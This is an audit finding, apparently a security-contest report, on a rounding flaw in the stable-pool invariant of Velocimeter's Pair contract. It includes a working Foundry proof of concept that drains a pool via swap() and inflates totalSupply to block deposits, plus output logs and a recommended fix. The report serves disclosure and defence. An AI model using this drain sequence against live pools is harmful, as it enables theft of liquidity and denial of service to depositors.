Keen Black Dalmatian

High

# first LP provider may cause pool dos

## Summary
The calculation of `_k` may be 0 because of round down. If the `_k` is 0, anyone can drain the pool via `swap()`

## Vulnerability Detail
The `_k` value's calculation for stable pool is a little different with other pools. 
In the below format, if `(_x * _y) < 1e18`, the `_a` will be zero, and the `_k` will be zero. If the `_k` is zero, anyone can drain the pool via `swap()`.
And `(_x * _y) < 1e18` is possible. Considering below case:
Stable Coin A: decimal 18, Stable Coin B: decimal 18.
The first LP add liquidity with 1e7 Stable Coin A and 1e7 Stable Coin B. The `_k` will be zero.
Based on `_k` = 0, malicious users can drain the whole pool via swap(), and left only one or two wei in the pool. This will cause the share's price is very low. When the malicious users try to add liquidity again, they can increase the pool's `totalSupply` very quickly because of share's low price. Malicious users can make use of this vulnerability to move pool's `totalSupply` reaches `max(uint256)`. After that, anyone cannot add liquidity into the pool. The pool will keep dos.

```javascript
    function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0; // token0 dollar value
            uint _y = y * 1e18 / decimals1; // token1 dollar value
 @==> uint _a = (_x * _y) / 1e18; //
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
            return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```
### Poc
refactor the existing test case to test this case. Take FRAX & DAI as the example.
```javascript
    function drainPair(Pair pair, uint initialFraxAmount, uint initialDaiAmount) internal {
        DAI.transfer(address(pair), 1);
        uint amount0;
        uint amount1;
        if (address(DAI) < address(FRAX)) {
            amount0 = 0;
            amount1 = initialFraxAmount - 1;
        } else {
            amount1 = 0;
            amount0 = initialFraxAmount - 1;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.transfer(address(pair), 1);
        if (address(DAI) < address(FRAX)) {
            amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount1 = 0;
        } else {
            amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1 amount0 = 0;
            amount0 = 0;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
    }

    function testdeployPairK() public {
        deployCoins();
        deployPairFactoryAndRouter();

        FRAX.approve(address(router), 300*TOKEN_1);
        DAI.approve(address(router), 300*TOKEN_1);
        deal(address(DAI), address(this), 100 ether);
        deal(address(FRAX), address(this), 100 ether);
        address createdPair = factory.createPair(address(DAI), address(FRAX), true);
        Pair pair = Pair(createdPair);
        console.log(DAI.balanceOf(address(this)));
        for(uint256 i = 0; i < 10; i++) {
            DAI.transfer(address(pair), 10_000_000);
            FRAX.transfer(address(pair), 10_000_000);
            uint liquidity = pair.mint(address(this));
            console.log("total liq:", Pair(pair).balanceOf(address(this)));
            drainPair(pair, FRAX.balanceOf(address(pair)) , DAI.balanceOf(address(pair)));
        }
        DAI.transfer(address(pair), 1 ether);
        FRAX.transfer(address(pair), 1 ether);
        vm.expectRevert();
        pair.mint(address(this));
    }
```
The output log is as below:
```bash
Logs:
  100000000000000000000
  total liq: 9999000
  total liq: 50000009999000
  total liq: 250000100000009999000
  total liq: 1250000750000150000009999000
  total liq: 6250005000001500000200000009999000
  total liq: 31250031250012500002500000250000009999000
  total liq: 156250187500093750025000003750000300000009999000
  total liq: 781251093750656250218750043750005250000350000009999000
  total liq: 3906256250004375001750000437500070000007000000400000009999000
  total liq: 19531285156278125013125003937500787500105000009000000450000009999000

```
## Impact
The pool's 'totalSupply' will be near the max(uint256) because of this vulnerability, anyone cannot add liquidity any more.

## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403-L413

## Tool used

Manual Review

## Recommendation
Suggest adding one minimum `_k` for stable pool.